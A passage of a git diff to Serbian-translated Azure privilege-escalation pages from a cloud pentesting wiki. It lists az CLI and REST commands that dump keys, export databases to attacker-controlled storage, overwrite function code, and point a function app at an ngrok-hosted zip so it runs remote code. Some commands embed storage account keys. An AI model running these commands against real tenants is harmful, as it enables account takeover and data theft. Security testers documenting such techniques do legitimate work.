da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. +Sa ovim dozvolama, napadač može da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, modifikuje konfiguracije baze podataka ili umetne zadnje izlaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. ```bash # Create Elastic Pool az sql elastic-pool create \ @@ -40,7 +40,7 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` Sa ovom dozvolom, možete modifikovati ili omogućiti podešavanja revizije na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da manipuliše konfiguracijama revizije, potencijalno prikrivajući tragove ili preusmeravajući revizione dnevnike na lokaciju pod njihovom kontrolom. Ovo može ometati bezbednosno praćenje ili omogućiti da se prati akcije. NAPOMENA: Da biste omogućili reviziju za Azure SQL Server koristeći Blob Storage, morate povezati nalog za skladištenje gde se revizioni dnevnici mogu sačuvati. ```bash @@ -51,7 +51,7 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` Sa ovom dozvolom, možete modifikovati politike povezivanja Azure SQL Server-a. Ova sposobnost se može iskoristiti za omogućavanje ili promenu podešavanja povezivanja na nivou servera. ```bash @@ -60,9 +60,9 @@ az sql server connection-policy update \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` -Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvođenjem u lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli da izvršite ovo. +Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvozeći ih na lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli to da uradite. ```bash az sql db export \ --server \ @@ -74,9 +74,9 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` -Sa ovom dozvolom, možete uvesti bazu podataka u Azure SQL Server. Napadač ili ovlašćeni korisnik sa ovom dozvolom može potencijalno da otpremi zlonamerne ili manipulirane baze podataka. To može dovesti do preuzimanja kontrole nad osetljivim podacima ili umetanja štetnih skripti ili okidača unutar uvezene baze podataka. Dodatno, možete je uvesti na svoj server u Azure-u. Napomena: Server mora dozvoliti Azure uslugama i resursima pristup serveru. +Sa ovom dozvolom, možete uvesti bazu podataka u Azure SQL Server. Napadač ili ovlašćeni korisnik sa ovom dozvolom može potencijalno da otpremi zlonamerne ili manipulirane baze podataka. To može dovesti do preuzimanja kontrole nad osetljivim podacima ili umetanja štetnih skripti ili okidača unutar uvezene baze podataka. Dodatno, možete je uvesti na svoj server u Azure. Napomena: Server mora dozvoliti Azure uslugama i resursima da pristupaju serveru. ```bash az sql db import --admin-user \ --admin-password \ @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 2978649e5..f3af43c67 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc Za više informacija o SQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) Sa ovim dozvolama možete eskalirati privilegije dajući korisniku dozvole za izvršavanje upita i povezivanje sa bazom podataka. Prvo se kreira definicija uloge koja daje neophodne dozvole i opsege. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - Nakon toga, dodeljivanje definicije se daje korisniku. Nakon toga, taj korisnik može koristiti DefaultAzureCredential() metodu povezivanja za izvršavanje upita. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` Sa ovom dozvolom, možete preuzeti primarne i sekundarne ključeve za Azure Cosmos DB nalog. Ovi ključevi pružaju potpuni pristup nalogu baze podataka i njenim resursima, omogućavajući radnje kao što su čitanje podataka, pisanje i promene konfiguracije. - -{% code overflow="wrap" %} ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 38afcf367..b630e8cd2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -18,20 +18,20 @@ Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad nji - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) -Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom. +Kod funkcije se obično čuva unutar deljenog foldera. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom. -Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od +Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu. +Ti konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu. > [!CAUTION] > Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. -Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka: +Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o file share-ovima: {{#ref}} ../az-services/az-file-shares.md @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Takođe je uobičajeno pronaći **zip izdanja** unutar foldera `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**. +Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**. Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u: ```bash @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom nalogu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **``** u JSON datotekama koje možete pronaći unutra. +Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **``** u JSON datotekama koje možete pronaći unutra. > [!CAUTION] -> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenziji** (koji zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. +> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -116,9 +116,9 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` -Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i host ključ, specificirane funkcije sa: +Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa: ```bash az functionapp keys list --resource-group --name ``` @@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` -Ova dozvola omogućava kreiranje/aktuelizaciju ključa funkcije za određenu funkciju sa: +Ova dozvola omogućava kreiranje/izmenu funkcijskog ključa navedene funkcije sa: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa: ```bash @@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key > [!CAUTION] > Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**. ```bash @@ -181,9 +181,9 @@ Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije. +Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije. Stoga je moguće postaviti vrednost parametra **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije: @@ -193,7 +193,7 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -- Kreirajte kod koji želite da funkcija izvrši i hostujte ga javno +- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte. ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -213,7 +213,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke): ```bash @@ -224,9 +224,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Ova dozvola omogućava da se prikažu svi profili objavljivanja koji u suštini sadrže **osnovne autentifikacione kredencijale**: +Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću: +Još jedna opcija bi bila da postavite svoje kredencijale i koristite ih pomoću: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -262,7 +262,7 @@ az rest --method PUT \ } } ``` -- **Metoda SCM** +- **Method SCM** Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima za SCM URL** vaše funkcijske aplikacije i dobiti vrednosti env varijabli: ```bash @@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _Napomena da je **FTP korisničko ime** obično u formatu \\\$\._ -### Microsoft.Web/sites/publish/Action - -Prema [**dokumentaciji**](https://github.com/projectkudu/kudu/wiki/REST-API#command), ova dozvola omogućava **izvršavanje komandi unutar SCM servera** što se može koristiti za modifikaciju izvornog koda aplikacije: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read +### `Microsoft.Web/sites/hostruntime/vfs/read` Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije: +Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije. + +Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje). ```bash @@ -342,26 +333,26 @@ Takođe je moguće videti da li je funkcija omogućena ili onemogućena na slede ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši. +Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku aplikaciju kontejnera na docker hub (na primer) i natera funkciju da je izvrši. ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** funkciji. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet. +Sa ovim dozvolama moguće je **priključiti novu korisnički upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Daljinsko debagovanje +### Remote Debugging -Takođe je moguće povezati se za debagovanje pokrenute Azure funkcije kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija. +Takođe je moguće povezati se za debagovanje pokrenute Azure funkcije kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi da izbegne ostavljanje ranjivih konfiguracija. Moguće je proveriti da li funkcija ima omogućeno debagovanje sa: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index f68c642d4..086a87dfe 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ Za više informacija o ovoj usluzi pogledajte: ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` Napadač sa ovom dozvolom će moći da izmeni politiku ključnog trezora (ključni trezor mora koristiti pristupne politike umesto RBAC-a). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index c49e9e1c8..b237665a3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -3,17 +3,15 @@ {{#include ../../../banners/hacktricks-training.md}} ## Logic Apps Privesc -Za više informacija o SQL bazi podataka, pogledajte: +Za više informacija o SQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) Sa ovom dozvolom, možete kreirati ili ažurirati Azure Logic Apps radne tokove. Radni tokovi definišu automatizovane procese i integracije između različitih sistema i usluga. - -{% code overflow="wrap" %} ```bash az logic workflow create \ --resource-group \ @@ -26,8 +24,6 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - I nakon što ga promenite, možete ga pokrenuti sa: ```bash az rest \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -Sa ovim dozvolama, možete implementirati Logic App radne tokove koristeći ZIP datoteke za implementaciju. Ove dozvole omogućavaju akcije kao što su čitanje detalja aplikacije, pristup publikacionim akreditivima, pisanje izmena i listanje konfiguracija aplikacije. Pored dozvola za pokretanje, možete ažurirati i implementirati novu Logic App sa željenim sadržajem - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +Sa ovim dozvolama, možete implementirati Logic App radne tokove koristeći ZIP datoteke za implementaciju. Ove dozvole omogućavaju akcije kao što su čitanje detalja aplikacije, pristup publikacionim kredencijalima, pisanje izmena i listanje konfiguracija aplikacije. Pored dozvola za pokretanje, možete ažurirati i implementirati novu Logic App sa željenim sadržajem. ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 97ed1b485..7c031e496 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL Database Privesc -Za više informacija o SQL bazi podataka, pogledajte: +Za više informacija o SQL bazi podataka, proverite: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` -Sa ovom dozvolom, možete kreirati, ažurirati ili brisati MySQL Flexible Server instance na Azure-u. Ovo uključuje obezbeđivanje novih servera, modifikovanje postojećih konfiguracija servera ili ukidanje servera. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete kreirati, ažurirati ili brisati MySQL Flexible Server instance na Azure-u. Ovo uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera. ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - Na primer, ova dozvola omogućava promenu MySQL lozinke, što je korisno, naravno, u slučaju da je MySQL autentifikacija omogućena. - -{% code overflow="wrap" %} ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili: - -{% code overflow="wrap" %} ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} - -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za MySQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad MySQL serverom. Važno je da fleksibilni server ima dodeljene upravljane identitete za korišćenje. - -{% code overflow="wrap" %} ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 9334622df..44f2849dd 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc Za više informacija o SQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` -Sa ovom dozvolom možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na 